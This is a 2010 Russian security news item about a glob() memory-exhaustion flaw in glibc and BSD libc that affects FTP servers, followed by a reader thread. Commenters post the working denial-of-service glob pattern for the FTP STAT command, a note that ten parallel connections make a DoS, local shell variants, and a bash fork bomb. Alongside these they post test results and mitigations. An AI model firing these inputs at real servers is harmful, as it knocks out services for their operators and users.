Ошибка в реализации функции glob() в различных Си-библиотеках, например в glibc и BSD libc (http://ftp.netbsd.org/pub/NetBSD/security/advisories/NetBSD-...),  может быть использована удалённым атакующим, чтобы нарушить работу FTP/SFTP серверов. В связи с тем, что на многих серверах разрешён анонимный вход, ошибку легко эксплуатировать и многие программные продукты являются уязвимыми. В отчёте (http://securityreason.com/securityalert/7822) утверждается, что серверы даже таких крупных компаний, как Adobe и HP, подвержены этой проблеме.

Проблема возникла из-за того, что переменная GLOB_LIMIT, которую добавили в 2001 году для ограничения объёма памяти функцией glob() c целью защиты от аналогичной уязвимости (http://www.opennet.ru/base/netsoft/1007055482_116.txt.html), не эффективна. Проверка на совпадение (globbing) вызывает функцию glob(), чтобы сравнить список файлов с шаблоном и вернуть на выход список совпадающих файлов. В виду того, что GLOB_LIMIT не действует в сит...

URL: http://securityreason.com/securityalert/7822
Новость: http://www.opennet.ru/opennews/art.shtml?num=28210

• Ошибка в библиотке libc привела к уязвимости большинства FTP...,anonymus, 17:56 , 07-Окт-10
• Ошибка в библиотке libc привела к уязвимости большинства FTP...,Аноним, 17:56 , 07-Окт-10
  • Ошибка в библиотке libc привела к уязвимости большинства FTP...,Аноним, 18:45 , 07-Окт-10
• Ошибка в библиотке libc привела к уязвимости большинства FTP...,анонимус, 18:04 , 07-Окт-10
  • Ошибка в библиотке libc привела к уязвимости большинства FTP...,EuPhobos, 18:43 , 07-Окт-10
    • Ошибка в библиотке libc привела к уязвимости большинства FTP...,Аноним, 20:50 , 07-Окт-10
      • Ошибка в библиотке libc привела к уязвимости большинства FTP...,АдминистыйБородач, 21:46 , 07-Окт-10
    • Ошибка в библиотке libc привела к уязвимости большинства FTP...,БородатыйОдмин, 21:44 , 07-Окт-10
      • Ошибка в библиотке libc привела к уязвимости большинства FTP...,EuPhobos, 21:51 , 07-Окт-10
    • Ошибка в библиотке libc привела к уязвимости большинства FTP...,User294, 22:26 , 07-Окт-10
      • Ошибка в библиотке libc привела к уязвимости большинства FTP...,pavlinux, 00:46 , 08-Окт-10
        • Ошибка в библиотке libc привела к уязвимости большинства FTP...,AdVv, 16:15 , 08-Окт-10
        • Ошибка в библиотке libc привела к уязвимости большинства FTP...,User294, 17:44 , 08-Окт-10
• Ошибка в библиотке libc привела к уязвимости большинства FTP...,maxkit, 18:36 , 07-Окт-10
• Ошибка в библиотке libc привела к уязвимости большинства FTP...,Аноним, 18:41 , 07-Окт-10
  • Ошибка в библиотке libc привела к уязвимости большинства FTP...,fakedream, 16:14 , 08-Окт-10
• Ошибка в библиотке libc привела к уязвимости большинства FTP...,luzerz, 18:53 , 07-Окт-10
  • Ошибка в библиотке libc привела к уязвимости большинства FTP...,аноним, 19:21 , 07-Окт-10
    • Ошибка в библиотке libc привела к уязвимости большинства FTP...,ноним, 19:53 , 07-Окт-10
      • Ошибка в библиотке libc привела к уязвимости большинства FTP...,Аноним, 21:48 , 07-Окт-10
        • Ошибка в библиотке libc привела к уязвимости большинства FTP...,Аноним, 07:52 , 08-Окт-10
    • Ошибка в библиотке libc привела к уязвимости большинства FTP...,MrClon, 10:02 , 08-Окт-10
• Ошибка в библиотке libc привела к уязвимости большинства FTP...,аноним, 18:54 , 07-Окт-10
  • Ошибка в библиотке libc привела к уязвимости большинства FTP...,аноним, 19:18 , 07-Окт-10
  • Ошибка в библиотке libc привела к уязвимости большинства FTP...,oops, 23:42 , 07-Окт-10
  • Ошибка в библиотке libc привела к уязвимости большинства FTP...,pimiento, 07:01 , 08-Окт-10
• Ошибка в библиотке libc привела к уязвимости большинства FTP...,Stax, 19:01 , 07-Окт-10
  • Ошибка в библиотке libc привела к уязвимости большинства FTP...,XoRe, 21:59 , 08-Окт-10
• Ошибка в библиотке libc привела к уязвимости большинства FTP...,Dmitriy.trt, 19:21 , 07-Окт-10
  • Ошибка в библиотке libc привела к уязвимости большинства FTP...,Sylvia, 19:55 , 07-Окт-10
    • Ошибка в библиотке libc привела к уязвимости большинства FTP...,аноним, 20:17 , 07-Окт-10
      • Ошибка в библиотке libc привела к уязвимости большинства FTP...,Аноним, 20:38 , 07-Окт-10
        • Ошибка в библиотке libc привела к уязвимости большинства FTP...,аноним, 20:48 , 07-Окт-10
          • Ошибка в библиотке libc привела к уязвимости большинства FTP...,аноним, 20:51 , 07-Окт-10
          • Ошибка в библиотке libc привела к уязвимости большинства FTP...,Иван Иванович Иванов, 21:39 , 07-Окт-10
            • Ошибка в библиотке libc привела к уязвимости большинства FTP...,prapor, 02:48 , 08-Окт-10
              • Ошибка в библиотке libc привела к уязвимости большинства FTP...,Аноним, 07:57 , 08-Окт-10
                • Ошибка в библиотке libc привела к уязвимости большинства FTP...,oops, 09:04 , 08-Окт-10
                  • Ошибка в библиотке libc привела к уязвимости большинства FTP...,тигар, 10:18 , 08-Окт-10
      • Ошибка в библиотке libc привела к уязвимости большинства FTP...,anonymous, 20:40 , 07-Окт-10
        • Ошибка в библиотке libc привела к уязвимости большинства FTP...,аноним, 20:49 , 07-Окт-10
      • Ошибка в библиотке libc привела к уязвимости большинства FTP...,аноним, 09:01 , 08-Окт-10
        • Ошибка в библиотке libc привела к уязвимости большинства FTP...,Doc_x800, 11:43 , 08-Окт-10
    • Ошибка в библиотке libc привела к уязвимости большинства FTP...,аноним, 20:23 , 07-Окт-10
    • Ошибка в библиотке libc привела к уязвимости большинства FTP...,zazik, 09:41 , 08-Окт-10
• Ошибка в библиотке libc привела к уязвимости большинства FTP...,Аноним, 19:26 , 07-Окт-10
  • Ошибка в библиотке libc привела к уязвимости большинства FTP...,Аноним, 07:59 , 08-Окт-10
• Ошибка в библиотке libc привела к уязвимости большинства FTP...,ананим, 19:57 , 07-Окт-10
  • Ошибка в библиотке libc привела к уязвимости большинства FTP...,XoRe, 22:05 , 08-Окт-10
• Ошибка в библиотке libc привела к уязвимости большинства FTP...,Аноним, 20:32 , 07-Окт-10
• Ошибка в библиотке libc привела к уязвимости большинства FTP...,diceman, 21:14 , 07-Окт-10
  • Ошибка в библиотке libc привела к уязвимости большинства FTP...,Аноним, 08:00 , 08-Окт-10
    • Ошибка в библиотке libc привела к уязвимости большинства FTP...,аноним, 18:02 , 08-Окт-10
  • Ошибка в библиотке libc привела к уязвимости большинства FTP...,QuAzI, 09:51 , 08-Окт-10
• Ошибка в библиотке libc привела к уязвимости большинства FTP...,evgeny_t, 22:58 , 07-Окт-10
• Ошибка в библиотке libc привела к уязвимости большинства FTP...,PereresusNeVlezaetBuggy, 23:06 , 07-Окт-10
  • Ошибка в библиотке libc привела к уязвимости большинства FTP...,V, 00:30 , 08-Окт-10
    • Ошибка в библиотке libc привела к уязвимости большинства FTP...,PereresusNeVlezaetBuggy, 00:34 , 08-Окт-10
      • Ошибка в библиотке libc привела к уязвимости большинства FTP...,PereresusNeVlezaetBuggy, 09:42 , 09-Окт-10
• Ошибка в библиотке libc привела к уязвимости большинства FTP...,r9ft, 06:52 , 08-Окт-10
  • Ошибка в библиотке libc привела к уязвимости большинства FTP...,User294, 17:41 , 08-Окт-10
• Ошибка в библиотке libc привела к уязвимости большинства FTP...,i, 09:04 , 08-Окт-10
• Ошибка в библиотке libc привела к уязвимости большинства FTP...,phantom lord, 09:14 , 08-Окт-10
• Ошибка в библиотке libc привела к уязвимости большинства FTP...,Аноним, 09:15 , 08-Окт-10
• Ошибка в библиотке libc привела к уязвимости большинства FTP...,QuAzI, 10:36 , 08-Окт-10
• Ошибка в библиотке libc привела к уязвимости большинства FTP...,sysnet.by, 14:18 , 08-Окт-10
• Ошибка в библиотке libc привела к уязвимости большинства FTP...,zazik, 14:25 , 08-Окт-10
  • Ошибка в библиотке libc привела к уязвимости большинства FTP...,MrClon, 14:31 , 08-Окт-10
    • Ошибка в библиотке libc привела к уязвимости большинства FTP...,zazik, 14:37 , 08-Окт-10
      • Ошибка в библиотке libc привела к уязвимости большинства FTP...,аноним, 19:17 , 08-Окт-10
        • Ошибка в библиотЕке libc привела к уязвимости большинства FTP,аноним, 21:54 , 08-Окт-10
        • Ошибка в библиотке libc привела к уязвимости большинства FTP...,zazik, 10:35 , 11-Окт-10
• Ошибка в библиотке libc привела к уязвимости большинства FTP...,Nas_tradamus, 15:30 , 08-Окт-10
  • 'прокатываемость' зависит от параметра,аноним, 17:43 , 08-Окт-10
    • 'прокатываемость' зависит от параметра,Nas_tradamus, 18:17 , 08-Окт-10
      • 'прокатываемость' зависит от параметра,аноним, 19:07 , 08-Окт-10
      • 'прокатываемость' зависит от параметра,аноним, 19:11 , 08-Окт-10
• Ошибка в библиотке libc привела к уязвимости большинства FTP...,аноним, 21:47 , 08-Окт-10
  • Ошибка в библиотке libc привела к уязвимости большинства FTP...,V, 00:02 , 09-Окт-10
• Ошибка в библиотке libc привела к уязвимости большинства FTP...,аноним, 00:08 , 10-Окт-10

Закроют, чай не мелокомягкие
Ну и в серьезных проектах совсем без ошибок не бывает, как это не печально.

vsftpd не использует, ни glob(), ни fnmatch().

> vsftpd не использует, ни glob(), ни fnmatch().

Спасибо! А то я уже полез апдейты смотреть :)

У меня на сервачке uClibc. Можно спать спокойно?

> У меня на сервачке uClibc. Можно спать спокойно?

А можно IP вашего сервачка?

192.168.1.13 =)

Эй, откуда ты узнал секретный адрес моего банковского терминала?!

Легко! 10.11.12.13

> Легко! 10.11.12.13

За натом в основном всегда можно спать спокойно, но кайфа от НАТ-а никакого )

> А можно IP вашего сервачка?

127.0.0.1

Удачного взлома! :)

>> А можно IP вашего сервачка?
>127.0.0.1
>Удачного взлома! :)

Вроде не тинэйджер... :/

>>> А можно IP вашего сервачка?
>>127.0.0.1
>>Удачного взлома! :)
> Вроде не тинэйджер... :/

Физический возраст не всегда соответствует умственному развитию :(

> Вроде не тинэйджер... :/

Да просто локальный DoS как-то особо не получился. А я то уж понадеялся OOM киллером отхватить :)

>  серверы даже таких крупных компаний, как Adobe

Переживут. Весь мир на дырявом Flash'е сидит.

Но новость, конечно, неприятная.

vsftpd подтверждает своё название

Еще бы он пофункциональнее был чуть ..

эксплоит то где?)

> эксплоит то где?)

$ telnet ftp.microsoft.com 21
user anonymous
pass opennet
stat */../*/../*/../*/../*
stat */../*/../*/../*/../*test
и весь эксплоит

т.е. на локальной фс stat */../*/../*/../*/../*  тоже сработает ?

Работает, zsh отъедает по 4 мега в секунду. Правда, я не стал дожидаться, пока память кончится, и прибил.

> Работает, zsh отъедает по 4 мега в секунду. Правда, я не стал
> дожидаться, пока память кончится, и прибил.

забавно, в csh, на fb8:
# stat */../*/../*/../*/../*
/usr/sbin/stat: Argument list too long.

proftpd-1.3.2b:
stat */../*/../*/../*/../*/../*
211-Status of */../*/../*/../*/../*/../*:
End of status
211 Out of memory during globbing of */../*/../*/../*/../*/../*

220 ProFTPD 1.3.2d Server (MrClon Server) [192.168.10.1]
user anonymous
331 Anonymous login ok, send your complete email address as your password
pass evil_hucker
230 Anonymous access granted, restrictions apply
stat */../*/../*/../*/../*
550 */../*/../*/../*/../*: Forbidden command argument
stat */../*/../*/../*/../*test
550 */../*/../*/../*/../*test: Forbidden command argument

Что я делаю не так? Может «експлоит» кривой?

че-то по-моему этот баг только в bsd и есть. ProFTPd выдает банальный:
211 Out of memory during globbing of */../....

У меня на фре 8.1 так же. А на линуксе proftpd упал.

freebsd 8.1 amd64 + pure-ftpd - все ок, ничего не падает.

gentoo i686, pure-ftpd не упало

Ну в редхате поддерживается только vsftpd, который "проблеме не подвержен", так что наверное у них нет необходимости дергаться и резко латать проблему. Потихонечку исправят.. Строго говоря, по оригинальной ссылке сказано, кто подвержен проблеме: netbsd/openbsd/freebsd/solaris, системы adobe/hp/etc, а про редхат, дебиан и пр. ничего не сказано.

> Ну в редхате поддерживается только vsftpd, который "проблеме не подвержен", так что
> наверное у них нет необходимости дергаться и резко латать проблему. Потихонечку
> исправят.. Строго говоря, по оригинальной ссылке сказано, кто подвержен проблеме: netbsd/openbsd/freebsd/solaris,
> системы adobe/hp/etc, а про редхат, дебиан и пр. ничего не сказано.

Скажите, а вы правда не знаете, что такое glibc?

В Debian используется eglibc. Возможно, там просто нет этой проблемы.

eglibc - набор патчей над glibc
если уж в bsd libc есть ошибка, то в форке от glibc и подавно

интересно другое, кроме ФТП серверов вызывают ли glob() какие либо еще программы ? и насколько это может быть использовано злоумышленниками

> интересно другое, кроме ФТП серверов вызывают ли glob() какие либо еще программы ? и насколько это может быть использовано злоумышленниками

Конечно, баш, например:
  ls */../*/../*/../*/../*
эффект будет примерно эквивалентный
  -(){ -&-;};-
в смысле, сожрет всю память и повесит машину, если не настроены правильные лимиты

$ ls */../*/../*/../*/../*
bash: /bin/ls: Слишком длинный список аргументов
$

> bash: /bin/ls: Слишком длинный список аргументов

А так?
echo /*/*/../*/../*/../*/../*

> А так?
> echo /*/*/../*/../*/../*/../*

По сабжевой статье там должен быть несуществующий файл, то есть:
  echo /*/*/../*/../*/../*/../*fake

bash: Killed out of memory

Клёво :) Local DOS :)

А на ZSH не сработало. Проц жрёт и всё. Память не меняется.

> А на ZSH не сработало. Проц жрёт и всё. Память не меняется.

В csh тоже тупо одно ядро съедет и все, правда еще пришлось через -9 убивать

а у меня на csh по-тихоньку память жрало

сколько ждал?
я минут 5, память не жрало, только, как написали выше проц, 1 ядро. head, i386, 3 недельной давности

где можно статейку прочитать про настройку этих димитов?

> где можно статейку прочитать про настройку этих димитов?

man limits.conf

>> интересно другое, кроме ФТП серверов вызывают ли glob() какие либо еще программы ? и насколько это может быть использовано злоумышленниками
> Конечно, баш, например:
>   ls */../*/../*/../*/../*
> эффект будет примерно эквивалентный
>   -(){ -&-;};-
> в смысле, сожрет всю память и повесит машину, если не настроены правильные
> лимиты

На Debian начало отъедать память, пришлось килять

>>> интересно другое, кроме ФТП серверов вызывают ли glob() какие либо еще программы ? и насколько это может быть использовано злоумышленниками
>> Конечно, баш, например:
>>   ls */../*/../*/../*/../*
>> эффект будет примерно эквивалентный
>>   -(){ -&-;};-
>> в смысле, сожрет всю память и повесит машину, если не настроены правильные
>> лимиты
> На Debian начало отъедать память, пришлось килять

OpenSUSE 11.3
Linux Doc 2.6.31.5-0.1-default #1 SMP 2009-10-26 15:49:03 +0100 i686 i686 i386 GNU/Linux

та же ситуация

> и насколько это может быть использовано злоумышленниками

может быть использовано для подвешивания собственной машины :)

> eglibc - набор патчей над glibc
> если уж в bsd libc есть ошибка, то в форке от glibc
> и подавно
> интересно другое, кроме ФТП серверов вызывают ли glob() какие либо еще программы
> ? и насколько это может быть использовано злоумышленниками

Через php/perl/etc можно сделать а-ля exec('glob ...').

пока что имеем уязвимость не в большинстве фтп серверов, а только в proftpd

> пока что имеем уязвимость не в большинстве фтп серверов, а только в
> proftpd

proftpd-1.3.2b под freebsd: 211 Out of memory during globbing of /*/*/../*/../*/../*/../*fake

несправедливо мс исключена из упоминания:
>Affected Vendors (not verified):
>- - Apple
>- - Microsoft Interix
>- - HP
>- - more more more

.

> несправедливо мс исключена из упоминания:
>>Affected Vendors (not verified):
>>- - Apple
>>- - Microsoft Interix
>>- - HP
>>- - more more more

not verified

P.S.
На генте х64 bash с такой строкой жрет проц, но память жрет только до 158 метров.

Vsftpd проблеме не подвержен.

Ну очень радует)

на фре proftpd выдал листинг файла с правами, владельцами и прочим

> на фре proftpd выдал листинг файла с правами, владельцами и прочим

сделай команду подлинее, получишь: 211 Out of memory during globbing

> сделай команду подлинее, получишь: 211 Out of memory during globbing

Если "Out of memory" - это еще хорошо. Это значит что ошибка была корректно обработана. А если оно подвиснет на несколько минут - то это дос.

Как? Как ты это сделал, демон?

stat */../*/../*/../*/../*
bash: /usr/bin/stat: Argument list too long

Ключевой diff: http://cvsweb.netbsd.org/bsdweb.cgi/src/lib/libc/gen/glob.c....

Кривой он какой-то... и сделан аж три месяца назад. Приплыли, товарищи.

что-то не получается у меня повесить proftpd под openbsd

> что-то не получается у меня повесить proftpd под openbsd

Видимо, корректно обрабатываются ситуации с нехваткой памяти.

Я проверил на ksh — отожрало вплоть до лимита, выругалось на нехватку, и начало постепенно отдавать память взад.

>> что-то не получается у меня повесить proftpd под openbsd
> Видимо, корректно обрабатываются ситуации с нехваткой памяти.
> Я проверил на ksh — отожрало вплоть до лимита, выругалось на нехватку,
> и начало постепенно отдавать память взад.

Фикс для OpenBSD таки закоммичен: http://marc.info/?l=openbsd-cvs&m=128657455002435&w=2

Ubuntu:

stat */../*/../*/../*/../*
550 */../*/../*/../*/../*: Forbidden command argument
stat */../*/../*/../*/../*test
550 */../*/../*/../*/../*test : Forbidden command argument

в bash echo /*/*/../*/../*/../*/../*test - начинает сжирать память

На 64-битной при попытке сделать stat на такую строку - баш съедает гига полтора и минут 5 тупит. После чего сообщает Argument list too long. Работает сугубо под рутом и только если сменить текущую диру на /. В общем у меня полноценного локального DoS особо не получилось, только возможность скушать прилично ресурсов на несколько минут.

pureftpd в gentoo не падает, bash память жрет... но лимиты спасают.

Отлично, как раз юзаю Vsftpd :-)

в макоси bash память жрет тоже и умирает

Забавно.
proftpd-1.3.2b   - бага не проявилась.
proftpd-1.3.3a_1 - бага проявилась.

SLES 11.0
ProFTPD 1.3.2b Server - )))))))) только корректное сообщение о "дебильной" команде

220 ProFTPD 1.3.2b Server (FTP Skif) [10.34.0.114]
331 Password required for spectre
Password:
230 User spectre logged in
Remote system type is UNIX.
Using binary mode to transfer files.
ftp>
ftp> ls */../*/../*/../*/../*/../*
229 Entering Extended Passive Mode (|||7126|)
150 Opening ASCII mode data connection for file list
226-Out of memory during globbing of */../*/../*/../*/../*/../*
226 Transfer complete
ftp>

У меня bash уперся в 3 гига и так и остался висеть.

Какая ОС, версия libc, bash ну и так далее?
На своём debian сервере и бубунтовых рабочих станциях так и не смог воспроизвести баг :(

> Какая ОС, версия libc, bash ну и так далее?
> На своём debian сервере и бубунтовых рабочих станциях так и не смог
> воспроизвести баг :(

OpenSUSE(как релиз посмотреть - не знаю, это не удобнейшая фря), libc-2.11.1,
GNU bash, version 3.2.51(1)-release (x86_64-suse-linux-gnu)

> OpenSUSE(как релиз посмотреть - не знаю

Вроде, везде работает:
cat /etc/*release*

> Вроде, везде работает:
> cat /etc/*release*

Точно
cat /etc/*/../*/../*/../*/../*release

>> OpenSUSE(как релиз посмотреть - не знаю
> Вроде, везде работает:
> cat /etc/*release*

# cat /etc/SuSE-release
SUSE Linux Enterprise Server 11 (x86_64)
VERSION = 11
PATCHLEVEL = 1

На Pure не прокатило, слава зайцам.

> На Pure не прокатило, слава зайцам.

С какими параметрами не прокатило? Там подходящий путь зависит от приложения и количества подкаталогов. У меня на proftpd команда:
  stat */../*/../*/../*/../*/../*
выдает 211 Out of memory during globbing of ...
но команда:
  stat */../*/../*/../*/../*
подвешивает proftpd и сжирает 100% cpu. Сделать это 10 раз на параллельных соединенях - и DoS готов.

И, да, дополнительно надо проверять:
  stat */../*/../*/../*/../*testtest
это должно почти не требовать памяти, но подвесит точно так же.

PS: блин, вроде не лор же, а такие простые замечания приходится делать...

>[оверквотинг удален]
>   stat */../*/../*/../*/../*/../*
> выдает 211 Out of memory during globbing of ...
> но команда:
>   stat */../*/../*/../*/../*
> подвешивает proftpd и сжирает 100% cpu. Сделать это 10 раз на параллельных
> соединенях - и DoS готов.
> И, да, дополнительно надо проверять:
>   stat */../*/../*/../*/../*testtest
> это должно почти не требовать памяти, но подвесит точно так же.
> PS: блин, вроде не лор же, а такие простые замечания приходится делать...

Да блин, я все понимаю. В Pure-FTPD вообще не работают никакие комбинации.

ftp> stat */../*/../*/../*/../*/../*
Connected to ftp.site.ru.
No proxy connection.
Mode: stream; Type: binary; Form: non-print; Structure: file
Verbose: on; Bell: off; Prompting: on; Globbing: on
Store unique: off; Receive unique: off
Case: off; CR stripping: on
Quote control characters: on
Ntrans: off
Nmap: off
Hash mark printing: off; Use of PORT cmds: on
Tick counter printing: off
ftp>

Игрался минут 5 с stat, ls и добавлением фэйкового файла в конце - не работает.

В ProFTPD работает, как и в bash. Но на моих серваках с ProFTPD нет левых людей и анонимусов.

> ftp> stat */../*/../*/../*/../*/../*

А через ftp оно и у меня не работало. Зато работало через telnet.

> ftp> stat ...

stat в ftp-клиенте имеет другое назначение. Это - не тот stat. :)

Решение для proftpd - вписать в proftpd.conf:
  UseGlobbing off

ЗЫ: дежавю? http://bugs.proftpd.org/show_bug.cgi?id=1066

2001-й год, 5 баллов! :)

того и гляди злобные анонимусы будут ходить по серверам и их "тестировать"... а может и робота-обходчика подрядят...